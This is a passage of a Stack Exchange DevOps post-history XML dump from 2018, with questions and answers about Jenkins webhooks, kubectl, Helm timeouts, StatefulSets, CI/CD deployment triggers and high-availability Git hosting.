Kibana.&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="10950" PostHistoryTypeId="2" PostId="3507" RevisionGUID="b4a2bbfa-bfd7-480a-b28c-828539ff4202" CreationDate="2018-03-01T19:10:53.827" UserId="6579" Text="If you want to keep it simple, try the generic webhook trigger plugin.&#xD;&#xA;&#xD;&#xA;https://plugins.jenkins.io/generic-webhook-trigger&#xD;&#xA;&#xD;&#xA;You can trigger a build by sending an http POST using a JSON body or URL parameters.&#xD;&#xA;&#xD;&#xA;[![generic-webhook-trigger][1]][1]&#xD;&#xA;&#xD;&#xA;Parse the JSON request&#xD;&#xA;&#xD;&#xA;    def req = readJSON text: payload&#xD;&#xA;&#xD;&#xA;Now you can use it in your pipeline assuming you had a deploy function.&#xD;&#xA;&#xD;&#xA;    deploy(req.environment, req.branch)&#xD;&#xA;&#xD;&#xA;I must agree with @Tensibai. Two CI/CD systems on the surface does seem overly complex. You might want to consider sticking with one if possible.&#xD;&#xA;&#xD;&#xA;  [1]: https://i.stack.imgur.com/e5Zod.png" ContentLicense="CC BY-SA 3.0" />
  <row Id="10951" PostHistoryTypeId="2" PostId="3508" RevisionGUID="ccb1a912-c80a-4f71-a210-dd24cce7e2c7" CreationDate="2018-03-01T22:26:44.867" UserId="210" Text="      # Copy /tmp/foo local file to /tmp/bar in a remote pod in namespace&#xD;&#xA;    &lt;some-namespace&gt;&#xD;&#xA;      kubectl cp /tmp/foo &lt;some-namespace&gt;/&lt;some-pod&gt;:/tmp/bar&#xD;&#xA;&#xD;&#xA;works, but then a pod should be running. The problem is that the file has to be copied before the pod starts. The jar file has to be loaded by an Application server. Destroying the pod after the copy will not work as the docker image is deployed again and the content will be wiped out.&#xD;&#xA;&#xD;&#xA;A configMap was misused to copy the jar before the pod starts, but that only seems to work for configuration files. This was confirmed by comparing the checksum, e.g. local vs. remote." ContentLicense="CC BY-SA 3.0" />
  <row Id="10952" PostHistoryTypeId="1" PostId="3508" RevisionGUID="ccb1a912-c80a-4f71-a210-dd24cce7e2c7" CreationDate="2018-03-01T22:26:44.867" UserId="210" Text="How to copy a file locally to remote pod before it starts?" ContentLicense="CC BY-SA 3.0" />
  <row Id="10953" PostHistoryTypeId="3" PostId="3508" RevisionGUID="ccb1a912-c80a-4f71-a210-dd24cce7e2c7" CreationDate="2018-03-01T22:26:44.867" UserId="210" Text="&lt;kubernetes&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="10954" PostHistoryTypeId="2" PostId="3509" RevisionGUID="4ee0caae-6e67-478d-8ae7-e508b6cf57a0" CreationDate="2018-03-01T22:31:52.713" UserId="210" Text="At the moment there are more than 100 different deployment files. The majority of the config is identical, but there are some differences and therefore every docker image has its own deployment template. If a change has to be made to one of the deployment.yamls, most of the time this has to be copied to other files as well and that is a little bit tedious. How to apply Don't Repeat Yourself (DRY) while constructing k8s files without creating spaghetti?" ContentLicense="CC BY-SA 3.0" />
  <row Id="10955" PostHistoryTypeId="1" PostId="3509" RevisionGUID="4ee0caae-6e67-478d-8ae7-e508b6cf57a0" CreationDate="2018-03-01T22:31:52.713" UserId="210" Text="How to apply DRY to k8s files?" ContentLicense="CC BY-SA 3.0" />
  <row Id="10956" PostHistoryTypeId="3" PostId="3509" RevisionGUID="4ee0caae-6e67-478d-8ae7-e508b6cf57a0" CreationDate="2018-03-01T22:31:52.713" UserId="210" Text="&lt;kubernetes&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="10957" PostHistoryTypeId="6" PostId="3508" RevisionGUID="aef6d7e9-9b7c-4769-a51f-8ca12a6195b8" CreationDate="2018-03-01T22:35:28.587" UserId="210" Comment="edited tags" Text="&lt;kubernetes&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="10958" PostHistoryTypeId="6" PostId="1812" RevisionGUID="fe334584-45e0-4f9f-8bad-9c9249e1e70d" CreationDate="2018-03-01T22:36:36.483" UserId="210" Comment="edited tags" Text="&lt;kubernetes&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="10959" PostHistoryTypeId="6" PostId="1814" RevisionGUID="27518be8-fe7e-48e1-bdea-40e267ed7cff" CreationDate="2018-03-01T22:36:48.270" UserId="210" Comment="edited tags" Text="&lt;kubernetes&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="10960" PostHistoryTypeId="6" PostId="1783" RevisionGUID="93283ba6-263f-4590-8e7d-03f285b9945f" CreationDate="2018-03-01T22:37:13.283" UserId="210" Comment="edited tags" Text="&lt;rancher&gt;&lt;kubernetes&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="10961" PostHistoryTypeId="6" PostId="534" RevisionGUID="53d8b9d8-dc75-4cf4-94b3-939af0af1786" CreationDate="2018-03-01T22:37:35.560" UserId="210" Comment="edited tags" Text="&lt;docker&gt;&lt;containers&gt;&lt;kubernetes&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="10962" PostHistoryTypeId="2" PostId="3510" RevisionGUID="f765bd5f-7246-435c-af02-60d9882d9ca3" CreationDate="2018-03-01T23:29:47.583" UserId="210" Text="In Object Oriented Programming (OOP) there are Design Patterns (DP). DP are best practices for tackling certain problems. For example, [a singleton][1] is acceptable to be used [in a logger class][2].&#xD;&#xA;&#xD;&#xA;What about applying DPs to creation of images, e.g. docker. In our situation we have the core, i.e. the application, application configuration (customization per customer), and different artifacts per customer.&#xD;&#xA;&#xD;&#xA;At the moment, a bash script is used that contains various if-else statements and it is getting more and more a spaghetti.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://en.wikipedia.org/wiki/Singleton_pattern&#xD;&#xA;  [2]: https://stackoverflow.com/a/228380/2777965" ContentLicense="CC BY-SA 3.0" />
  <row Id="10963" PostHistoryTypeId="1" PostId="3510" RevisionGUID="f765bd5f-7246-435c-af02-60d9882d9ca3" CreationDate="2018-03-01T23:29:47.583" UserId="210" Text="What are Design Patterns for creating images?" ContentLicense="CC BY-SA 3.0" />
  <row Id="10964" PostHistoryTypeId="3" PostId="3510" RevisionGUID="f765bd5f-7246-435c-af02-60d9882d9ca3" CreationDate="2018-03-01T23:29:47.583" UserId="210" Text="&lt;architecture&gt;&lt;images&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="10965" PostHistoryTypeId="2" PostId="3511" RevisionGUID="f55f03a4-8707-4675-8435-54a6b3ad415c" CreationDate="2018-03-02T00:51:23.257" UserId="210" Text="I am planning to create a microservice that reads a database and shows a graph. Are there any people who have create such a service? What are things to consider before starting? I am thinking about django and [Springboot][1]. On the other hand, perhaps it is from a &quot;do not reinvent the wheel&quot; perspective better to choose something as graphite, but then still has to configure it.&#xD;&#xA;&#xD;&#xA;I am basically seeking for a tool that is able to read a REST interface and shows the results in a graph or otherwise a framework preferably written in Kotlin, golang or java.&#xD;&#xA;&#xD;&#xA;My aim is to show how fast something is increasing in a graph. At a certain moment I also would like to show the R2, i.e. consistency of the points, slope and so on.&#xD;&#xA;&#xD;&#xA;While writing this question, at a certain moment I would also like to predict whether something will be increased in the near future, i.e. applying data science.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.baeldung.com/spring-graphql" ContentLicense="CC BY-SA 3.0" />
  <row Id="10966" PostHistoryTypeId="1" PostId="3511" RevisionGUID="f55f03a4-8707-4675-8435-54a6b3ad415c" CreationDate="2018-03-02T00:51:23.257" UserId="210" Text="What are off-the-shelf options for creating a microservice that consults a REST interface and shows the outcome in a graph?" ContentLicense="CC BY-SA 3.0" />
  <row Id="10967" PostHistoryTypeId="3" PostId="3511" RevisionGUID="f55f03a4-8707-4675-8435-54a6b3ad415c" CreationDate="2018-03-02T00:51:23.257" UserId="210" Text="&lt;microservices&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="10971" PostHistoryTypeId="2" PostId="3513" RevisionGUID="693935cc-2798-4a8a-ba34-645f0719485f" CreationDate="2018-03-02T05:46:57.377" UserId="5856" Text="It is not officially supported (as of Minikube 0.25.0, Kubernetes 1.9, January 2018). But there is Beta support for Windows server containers in Kubernetes.&#xD;&#xA;&#xD;&#xA;These articles contain more information:&#xD;&#xA;&#xD;&#xA; - http://blog.kubernetes.io/2018/01/kubernetes-v19-beta-windows-support.html&#xD;&#xA; - https://kubernetes.io/docs/getting-started-guides/windows&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="10973" PostHistoryTypeId="2" PostId="3514" RevisionGUID="4f4af8db-1f61-45c9-905a-867a75822424" CreationDate="2018-03-02T06:57:51.897" UserId="6743" Text="I'm trying to set up `helm` for the first time and I'm having troubles.&#xD;&#xA;&#xD;&#xA;First, I've created account with `cluster-admin` role. (According to https://github.com/kubernetes/helm/blob/master/docs/rbac.md#example-service-account-with-cluster-admin-role ).&#xD;&#xA;&#xD;&#xA;After that I've initialized brand new `helm` tiller by using `helm init --service-account=tiller` and it was successful.&#xD;&#xA;&#xD;&#xA;Now when I'm trying to install something I'm getting this error:&#xD;&#xA;&#xD;&#xA;`Error: forwarding ports: error upgrading connection: error dialing backend: dial tcp 192.168.0.18:10250: getsockopt: connection timed out`.I noticed that `192.168.0.18` is visble on pod list:&#xD;&#xA;&#xD;&#xA;`kube-system   kube-proxy-kzflh                        1/1       Running   0          7d        192.168.0.18   kube-worker-7`&#xD;&#xA;&#xD;&#xA;`kube-system   weave-net-jq4n4                         2/2       Running   2          7d        192.168.0.18   kube-worker-7`&#xD;&#xA;&#xD;&#xA;and that `tiller` is running on the same node:&#xD;&#xA;&#xD;&#xA;`kube-system   tiller-deploy-5b48764ff7-qtv9v          1/1       Running   0          3m        10.38.0.1      kube-worker-7`&#xD;&#xA;&#xD;&#xA;I was told that I probably don't have permission to `pods/port-forward` and `list pods`, but `kubectl auth can-i create pods/portforward` tells me that I can do this (the same with `list pods`) &#xD;&#xA;&#xD;&#xA;Also `helm list` is throwing the same error as `install`.&#xD;&#xA;&#xD;&#xA;Any ideas?" ContentLicense="CC BY-SA 3.0" />
  <row Id="10974" PostHistoryTypeId="1" PostId="3514" RevisionGUID="4f4af8db-1f61-45c9-905a-867a75822424" CreationDate="2018-03-02T06:57:51.897" UserId="6743" Text="Helm times out on almost every action" ContentLicense="CC BY-SA 3.0" />
  <row Id="10975" PostHistoryTypeId="3" PostId="3514" RevisionGUID="4f4af8db-1f61-45c9-905a-867a75822424" CreationDate="2018-03-02T06:57:51.897" UserId="6743" Text="&lt;kubernetes&gt;&lt;k8s&gt;&lt;helm&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="10976" PostHistoryTypeId="2" PostId="3515" RevisionGUID="ef3a3f3f-5157-4dbe-a99f-21b80982301c" CreationDate="2018-03-02T09:29:12.653" UserId="6744" Text="I'm fairly new to CI/CD so this is probably a noob question. &#xD;&#xA;&#xD;&#xA;Anyway, here's my current setup: &#xD;&#xA;* Bitbucket repo&#xD;&#xA;* Registry service on AWS (ECS Registry) &#xD;&#xA;* Pipeline on Bitbucket that builds a docker image on master branch update and pushes it to the registry. &#xD;&#xA;&#xD;&#xA;So far so good, I'm missing the last part where my server (EC2 instance) listens for registry updates and executes a deployment command like docker-compose pull &amp;&amp; etc. &#xD;&#xA;&#xD;&#xA;What tools can your recommend me to do this?" ContentLicense="CC BY-SA 3.0" />
  <row Id="10977" PostHistoryTypeId="1" PostId="3515" RevisionGUID="ef3a3f3f-5157-4dbe-a99f-21b80982301c" CreationDate="2018-03-02T09:29:12.653" UserId="6744" Text="trigger command on registry update" ContentLicense="CC BY-SA 3.0" />
  <row Id="10978" PostHistoryTypeId="3" PostId="3515" RevisionGUID="ef3a3f3f-5157-4dbe-a99f-21b80982301c" CreationDate="2018-03-02T09:29:12.653" UserId="6744" Text="&lt;docker&gt;&lt;continuous-deployment&gt;&lt;registry&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="10986" PostHistoryTypeId="2" PostId="3518" RevisionGUID="0688fa61-255c-41c6-8ea7-6e28e4b5bada" CreationDate="2018-03-02T13:26:58.733" UserId="6643" Text="[The definition of a stateless app](http://whatis.techtarget.com/definition/stateless-app) seemy applying on database-servers like MongoDB or MySQL. I found [Helm Charts](https://github.com/kubernetes/charts) as a kind of template-repository for Kubernetes. However, the stable builds all uses deployments. Only in the incubator, which are not provided as stable. &#xD;&#xA;&#xD;&#xA;**So What is the impact of using Deployments for DB-Servers?**&#xD;&#xA;&#xD;&#xA;Are there e.g. any issues like sync/replication issues, when running multiple instances in a cluster? (Background: I want to run MongoDB in a failover-cluster, so at least 2 instances are running)" ContentLicense="CC BY-SA 3.0" />
  <row Id="10987" PostHistoryTypeId="1" PostId="3518" RevisionGUID="0688fa61-255c-41c6-8ea7-6e28e4b5bada" CreationDate="2018-03-02T13:26:58.733" UserId="6643" Text="Impact of using Deployments instead of StatefulSets for Databases like MongoDB or MySQL" ContentLicense="CC BY-SA 3.0" />
  <row Id="10988" PostHistoryTypeId="3" PostId="3518" RevisionGUID="0688fa61-255c-41c6-8ea7-6e28e4b5bada" CreationDate="2018-03-02T13:26:58.733" UserId="6643" Text="&lt;kubernetes&gt;&lt;mysql&gt;&lt;helm&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="10990" PostHistoryTypeId="2" PostId="3519" RevisionGUID="e5690140-15df-4854-a929-de56734c1138" CreationDate="2018-03-02T16:17:03.803" UserId="6578" Text="Back when Kubernetes announced the new StatefulSet feature with K8s v1.5 (converting it from the old `PetSet` name), they put out a really good blog post walking through an example of its usage: http://blog.kubernetes.io/2016/12/statefulset-run-scale-stateful-applications-in-kubernetes.html&#xD;&#xA;&#xD;&#xA;The first paragraph has a really good description of differentiating features that always stuck out in my mind:&#xD;&#xA;&#xD;&#xA;&gt; ...“at most one pod per index” for deployment of the Pods in the set. Along with ordered deployment, ordered termination, unique network names, and persistent stable storage ...&#xD;&#xA;&#xD;&#xA;Break down the important ones:&#xD;&#xA;&#xD;&#xA;## Unique network names&#xD;&#xA;In a deployment, it doesn't matter the network name as any pod should be able to pick up the work. However, when you are running things like a stateful cluster, you might have the concept of 'masters' and 'slaves'. This unique network naming will allow you to keep the distinction by referencing a _specific_ pod, with a predictable incremental name.&#xD;&#xA;&#xD;&#xA;## Ordered Termination&#xD;&#xA;This is important for re-deployments in a stateful cluster as you could have critical machines that need to stay up longer. If you have coordinator or 'leader' nodes, those should be the last to be restarted. StatefulSets allows you to do this. This blog post even shows an example of this.&#xD;&#xA;&#xD;&#xA;## Persistent stable storage&#xD;&#xA;Arguably, this is the _most_ crucial different. By default, StatefulSets retain their storage. Kubernetes does _not_ automatically delete the storage that was attached to a StatefulSet. The same _can_ be achieved with deployments, but its not the default." ContentLicense="CC BY-SA 3.0" />
  <row Id="10991" PostHistoryTypeId="2" PostId="3520" RevisionGUID="24d136a4-6bbb-4b8c-aeb6-2316f235b84d" CreationDate="2018-03-02T16:24:54.863" UserId="6578" Text="The key words here are:&#xD;&#xA;&#xD;&#xA;&gt; Pipeline on Bitbucket&#xD;&#xA;&#xD;&#xA;You already have a pipeline. _This_ is where you would stick the deployment command. &#xD;&#xA;&#xD;&#xA;AFAIK there is no standard tooling for registries to 'push out' any changes; you'd have to code a custom integrator that continually polls for changes and compares. This would be a lot of work. Same goes for having your servers directly listen for changes on the registry.&#xD;&#xA;&#xD;&#xA;It would be far easiest (and is the standard) to simply have your build pipeline issue the deployment command after its successfully pushed a new image to the registry. &#xD;&#xA;&#xD;&#xA;There are benefits to this: &#xD;&#xA;&#xD;&#xA;- your pipeline is aware of whether the push to the registry failed or passed (and you can handle that failure gracefully with retries)&#xD;&#xA;- your pipeline will be aware of the new registry tag&#xD;&#xA;- your pipeline can control _exactly_ which tag gets pushed where, when, and how quickly&#xD;&#xA;- your pipeline has the same insight to whether the deployment passed or failed, and can attempt retries or perform notifications of failure" ContentLicense="CC BY-SA 3.0" />
  <row Id="10992" PostHistoryTypeId="2" PostId="3521" RevisionGUID="d251c048-189b-4d55-b909-2faeb8e4ebe4" CreationDate="2018-03-02T16:36:10.970" UserId="6578" Text="This is a similar problem I've been facing. And we're not the only ones it seems. GitLab just added a very interesting feature in their recent 10.5 release where you can pull external files into the pipeline.&#xD;&#xA;&#xD;&#xA;In their blog post, they had this to say:&#xD;&#xA;&#xD;&#xA;&gt; For many of our largest customers, the DevOps team is responsible for providing CI/CD pipelines to a large number of development teams throughout the organization. Previously, this was a painful process to manage. There wasn’t a scalable way to distribute reusable pipeline configuration which meant code needed to be manually copied between multiple .gitlab-ci.yml files in multiple projects. This was a labor-intensive and error-prone process. Additionally, it didn't provide adequate controls to ensure testing and deployment is consistently enforced for each repo.&#xD;&#xA;&#xD;&#xA;&gt; Starting with 10.5, you can now include external files in CI/CD pipeline definition. Included files can be either local (contained in the same repo) or remote (accessible via HTTP/HTTPS). Including local files allows a large and complex .gitlab-ci.yml to be broken up in to modular chunks that are easier to maintain.&#xD;&#xA;&#xD;&#xA;https://about.gitlab.com/2018/02/22/gitlab-10-5-released/#include-external-files-in-cicd-pipeline-definition&#xD;&#xA;&#xD;&#xA;This is probably the best way to approach it from a OOP perspective as well: modularize certain aspects of your builds and include it in downstream code.&#xD;&#xA;&#xD;&#xA;My peers working at another company do a similar approach with their Jenkins builds. They've essentially build on a 'makefile' for their builds that is based on templates and evaluates certain variables set in the Jenkins UI. Based on those variables, the code will then fetch (curl or git) 'module' files from a central 'builds' repository. It then uses all the modules to compile a single pipeline bash script and runs it.&#xD;&#xA;&#xD;&#xA;This allows central changes to be done to a single file, that all the builds inherit." ContentLicense="CC BY-SA 3.0" />
  <row Id="10993" PostHistoryTypeId="2" PostId="3522" RevisionGUID="af6faa38-2d48-4353-b914-9c13e0b5fe71" CreationDate="2018-03-02T19:16:34.270" UserId="6578" Text="I can provide some personal experience here. I worked at a company that had the same need. The product was a BeagleBone (like an Arduino or Raspberry Pi) that ran our software and sent data back to our SaaS. It had to be installed inside customer networks, and be a little black box that they didn't touch.&#xD;&#xA;&#xD;&#xA;When I walked into this company, management of the systems was a nightmare. Networking was a nightmare. OS updates, keeping them online, shipping new versions of the software, etc... it was a nightmare.&#xD;&#xA;&#xD;&#xA;The path we ended up choosing ended up working really well: The entire application and supporting packages was shipped as a Docker container. That allowed us to easily ship application code changes and control versions of any supporting software (ffmpg, gcc, etc...).&#xD;&#xA;&#xD;&#xA;With the application abstracted, that simply left making the OS as minimal as possible. All we needed was a dead simple OS that could run docker. One of our low level engineers actually made our own in-house fork of Debian (if I remember) and we shipped that embedded directly into the devices.&#xD;&#xA;&#xD;&#xA;We already had a service contract with all of our customers to service these machines yearly, so when our field technician went on-site, the procedure was to replace the entire unit with a fresh hardware that came with the latest embedded OS. We didn't have to make many OS changes just to run Docker, so often times swapping wasn't even necessary. But out of procedure, we always swapped hardware whether it was an emergency service call or the yearly maintenance.&#xD;&#xA;&#xD;&#xA;I can't say if this would be a standard approach or not, but just that it worked really well for us and was a life saver. It sounds like your idea of shipping the OS as an immutable image is along the same lines." ContentLicense="CC BY-SA 3.0" />
  <row Id="10994" PostHistoryTypeId="2" PostId="3523" RevisionGUID="ffbd605b-62d0-4793-a6ee-a322f1424a63" CreationDate="2018-03-02T19:34:36.457" UserId="210" Text="For the second time in three months, bitbucket is down&#xD;&#xA;&#xD;&#xA;https://status.developer.atlassian.com/&#xD;&#xA;&#xD;&#xA;Now I wonder whether HA-git is possible or we should switch. Thanks to this it will be hard to finish the work before the deadline...&#xD;&#xA;&#xD;&#xA;What other options do we have for the future? I am considering to start with on premise git as this did not break as often as the Saas solution. It ran without issues for almost 2 years and if there was a issue with the gitlab I configured then I could at least solve it or create a new gitlab and push the git repo as is.&#xD;&#xA;&#xD;&#xA;Currently everybody is blocked as neither pull requests could be merged nor code could be pushed or pulled.&#xD;&#xA;&#xD;&#xA;I do not want this anymore and I am quite disappointed." ContentLicense="CC BY-SA 3.0" />
  <row Id="10995" PostHistoryTypeId="1" PostId="3523" RevisionGUID="ffbd605b-62d0-4793-a6ee-a322f1424a63" CreationDate="2018-03-02T19:34:36.457" UserId="210" Text="Does HA-git exist?" ContentLicense="CC BY-SA 3.0" />
  <row Id="10996" PostHistoryTypeId="3" PostId="3523" RevisionGUID="ffbd605b-62d0-4793-a6ee-a322f1424a63" CreationDate="2018-03-02T19:34:36.457" UserId="210" Text="&lt;git&gt;&lt;ha&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="10997" PostHistoryTypeId="5" PostId="3523" RevisionGUID="c2612a5e-b9af-4dc4-b16e-73317d01f494" CreationDate="2018-03-02T22:28:11.073" UserId="210" Comment="added 341 characters in body" Text="For the second time in three months, bitbucket is down&#xD;&#xA;&#xD;&#xA;https://status.developer.atlassian.com/&#xD;&#xA;&#xD;&#xA;Now I wonder whether HA-git is possible or we should switch. Thanks to this it will be hard to finish the work before the deadline...&#xD;&#xA;&#xD;&#xA;What other options do we have for the future? I am considering to start with on premise git as this did not break as often as the Saas solution. It ran without issues for almost 2 years and if there was a issue with the gitlab I configured then I could at least solve it or create a new gitlab and push the git repo as is.&#xD;&#xA;&#xD;&#xA;Currently everybody is blocked as neither pull requests could be merged nor code could be pushed or pulled.&#xD;&#xA;&#xD;&#xA;I do not want this anymore and I am quite disappointed.&#xD;&#xA;&#xD;&#xA;As @Tensibai indicated that it is possible to use multiple remote git's:&#xD;&#xA;&#xD;&#xA;My reply: &quot;yes you are right. It is possible to setup multiple remote. What if code is pushed to gitlab and github and a PR is created on github. How to ensure that the code will be updated on gitlab and vice versa without making it tedious for most engineers?&quot;" ContentLicense="CC BY-SA 3.0" />
  <row Id="10998" PostHistoryTypeId="5" PostId="3523" RevisionGUID="9a49dc95-5152-4614-a8e1-6ed266979a7d" CreationDate="2018-03-02T22:33:59.967" UserId="210" Comment="added 138 characters in body" Text="For the second time in three months, bitbucket is down&#xD;&#xA;&#xD;&#xA;https://status.developer.atlassian.com/&#xD;&#xA;&#xD;&#xA;Now I wonder whether HA-git is possible or we should switch. Thanks to this it will be hard to finish the work before the deadline...&#xD;&#xA;&#xD;&#xA;What other options do we have for the future? I am considering to start with on premise git as this did not break as often as the Saas solution. It ran without issues for almost 2 years and if there was a issue with the gitlab I configured then I could at least solve it or create a new gitlab and push the git repo as is.&#xD;&#xA;&#xD;&#xA;Currently everybody is blocked as neither pull requests could be merged nor code could be pushed or pulled.&#xD;&#xA;&#xD;&#xA;I do not want this anymore and I am quite disappointed.&#xD;&#xA;&#xD;&#xA;As @Tensibai indicated that it is possible to use multiple remote git's:&#xD;&#xA;&#xD;&#xA;My reply: &quot;yes you are right. It is possible to setup multiple remote. What if code is pushed to gitlab and github and a PR is created on github. How to ensure that the code will be updated on gitlab and vice versa without making it tedious for most engineers?&quot;&#xD;&#xA;&#xD;&#xA;Based on the advice of @Tensibai, two different git repository will be added as a remote and it will be investigated how it works out." ContentLicense="CC BY-SA 3.0" />
  <row Id="10999" PostHistoryTypeId="6" PostId="3514" RevisionGUID="fcf6c983-832b-4d50-a002-c9d83126fb56" CreationDate="2018-03-02T23:31:09.913" UserId="210" Comment="edited tags" Text="&lt;kubernetes&gt;&lt;helm&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="11000" PostHistoryTypeId="2" PostId="3524" RevisionGUID="a270c33a-3533-475b-b1f8-5e155ea8fcb8" CreationDate="2018-03-03T00:59:37.767" UserId="210" Text="I agree with @Tensibai and rather using a tool I would suggest to talk with your team members about the tools they use rather than sniffing their system.&#xD;&#xA;&#xD;&#xA;If one would use a tool to spy other systems then that is not aligned with DevOps. DevOps is about getting rid of silos. Using a tool for &quot;secretly&quot; monitoring colleague system is a contradiction. Imagine that the developers would know that such a tool is used, then silos will be created again and that is not DevOps. DevOps is about building bridges between team members and departments, e.g. Ops, Dev and QA." ContentLicense="CC BY-SA 3.0" />
  <row Id="11001" PostHistoryTypeId="2" PostId="3525" RevisionGUID="69ca4345-a20f-4674-ba70-5cd6a42734ae" CreationDate="2018-03-03T02:40:39.963" UserId="6578" Text="So, I know I’ve praised GitLab in my other answer to your questions before, but it really is awesome. They have a an HA solution called GitLab Geo. It’s primarily meant to speed up GitLab usage for geographically distributed teams, but the other main benefit is that the read-only secondary server can be easily promoted to be the master:&#xD;&#xA;&#xD;&#xA;https://about.gitlab.com/features/gitlab-geo/&#xD;&#xA;&#xD;&#xA;But to get back to your specific question: no. There is not really a way to get true high availability if you are relying on someone else. You can only ensure true HA if you have control over the infrastructure. This is one of the downfalls of using all SaaS solution. You have to hope thei internal ops teams have a good implementation under the hood.&#xD;&#xA;&#xD;&#xA;For that reason, I wouldn’t even recommend using something like GitHub or GitLab.com SaaS paid plans. You should look into self hosted options considering this problem has severely affected your team’s ability to reach deadlines.&#xD;&#xA;&#xD;&#xA;As @Tensibai mentioned, this is achievable with multiple remotes, sync scripts, watch processes, and other “glue code”, but it would be a lot of work and a lot to maintain. Another solution would be to self host a Git solution inside a docker container. You could have the file store backed by something like EFS and the database hosted in Amazon RDS. I’ve not tried this setup myself, but the theory is there: make the application hosting ephemeral, keep the files and datastore in a proven high-available system. Amazon’s uptime numbers are really good, though you still have the issue on relying on others here. The difference here is that the _entire_ system isn’t out of your control. In the event your application Docker instance goes down, simply spin it up somewhere else and change the DNS.&#xD;&#xA;&#xD;&#xA;That all being said, self-hosted GitLab on the other hand _does_ have the magic bullet Geo solution that I previously mentioned. I’ve used it and it’s really nice  " ContentLicense="CC BY-SA 3.0" />
  <row Id="11002" PostHistoryTypeId="5" PostId="3514" RevisionGUID="b235d9ba-ecfd-4e24-90ad-2653cf8fcd7c" CreationDate="2018-03-03T07:27:27.053" UserId="6743" Comment="added used install commands" Text="I'm trying to set up `helm` for the first time and I'm having troubles.&#xD;&#xA;&#xD;&#xA;First, I've created account with `cluster-admin` role. (According to https://github.com/kubernetes/helm/blob/master/docs/rbac.md#example-service-account-with-cluster-admin-role ).&#xD;&#xA;&#xD;&#xA;After that I've initialized brand new `helm` tiller by using `helm init --service-account=tiller` and it was successful.&#xD;&#xA;&#xD;&#xA;Now when I'm trying to install something:&#xD;&#xA;  &#xD;&#xA;  - First try:&#xD;&#xA;    &#xD;&#xA;        $ helm repo add gitlab https://charts.gitlab.io&#xD;&#xA;        $ helm install --name gitlab-runner -f gitlab-runner-values.yaml gitlab/gitlab-runner&#xD;&#xA;&#xD;&#xA;    where `gitlab-runner-values.yaml` looks like this:&#xD;&#xA;&#xD;&#xA;        gitlabUrl: https://my-gitlab.domain.com&#xD;&#xA;        runnerRegistrationToken: &quot;MY_GITLAB_RUNNER_TOKEN&quot;&#xD;&#xA;        concurrent: 10&#xD;&#xA;&#xD;&#xA;  - Second try (as I was not sure if there is an issue with custom repo, so I tried from official):&#xD;&#xA;&#xD;&#xA;        $ helm install stable/kibana&#xD;&#xA;&#xD;&#xA;I'm getting this error:&#xD;&#xA;&#xD;&#xA;    Error: forwarding ports: error upgrading connection: error dialing backend: dial tcp 192.168.0.18:10250: getsockopt: connection timed out&#xD;&#xA;&#xD;&#xA;I noticed that `192.168.0.18` is visble on pod list:&#xD;&#xA;&#xD;&#xA;    kube-system   kube-proxy-kzflh                        1/1       Running   0          7d        192.168.0.18   kube-worker-7&#xD;&#xA;    kube-system   weave-net-jq4n4                         2/2       Running   2          7d        192.168.0.18   kube-worker-7&#xD;&#xA;&#xD;&#xA;and that `tiller` is running on the same node:&#xD;&#xA;&#xD;&#xA;    kube-system   tiller-deploy-5b48764ff7-qtv9v          1/1       Running   0          3m        10.38.0.1      kube-worker-7&#xD;&#xA;&#xD;&#xA;I was told that I probably don't have permission to `pods/port-forward` and `list pods`, but `kubectl auth can-i create pods/portforward` tells me that I can do this (the same with `list pods`) &#xD;&#xA;&#xD;&#xA;Also `helm list` is throwing the same error as `install`.&#xD;&#xA;&#xD;&#xA;Any ideas?" ContentLicense="CC BY-SA 3.0" />
  <row Id="11004" PostHistoryTypeId="6" PostId="3523" RevisionGUID="f5f5235e-ed83-4bd3-965a-de4184faf003" CreationDate="2018-03-03T09:53:16.323" UserId="210" Comment="edited tags" Text="&lt;git&gt;&lt;high-availability&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="11005" PostHistoryTypeId="5" PostId="3448" RevisionGUID="af8db395-329b-482c-8c88-46caa949a11e" CreationDate="2018-03-03T10:03:21.160" UserId="210" Comment="added 8 characters in body" Text="http://api.releasesoftwaremoreoften.com/latestversion?name=oraclejdk8&#xD;&#xA;http://api.releasesoftwaremoreoften.com/latestversion?name=oraclejdk9&#xD;&#xA;&#xD;&#xA;Running:&#xD;&#xA;&#xD;&#xA;    curl -s http://releasesoftwaremoreoften.com/latestversion?name=oraclejdk9 | jq .latestVersion&#xD;&#xA;&#xD;&#xA;returns:&#xD;&#xA;&#xD;&#xA;    9.0.4&#xD;&#xA;&#xD;&#xA;and &#xD;&#xA;&#xD;&#xA;    curl -s http://releasesoftwaremoreoften.com/latestversion?name=oraclejdk8 | jq .latestVersion&#xD;&#xA;&#xD;&#xA;returns:&#xD;&#xA;&#xD;&#xA;    8u162" ContentLicense="CC BY-SA 3.0" />
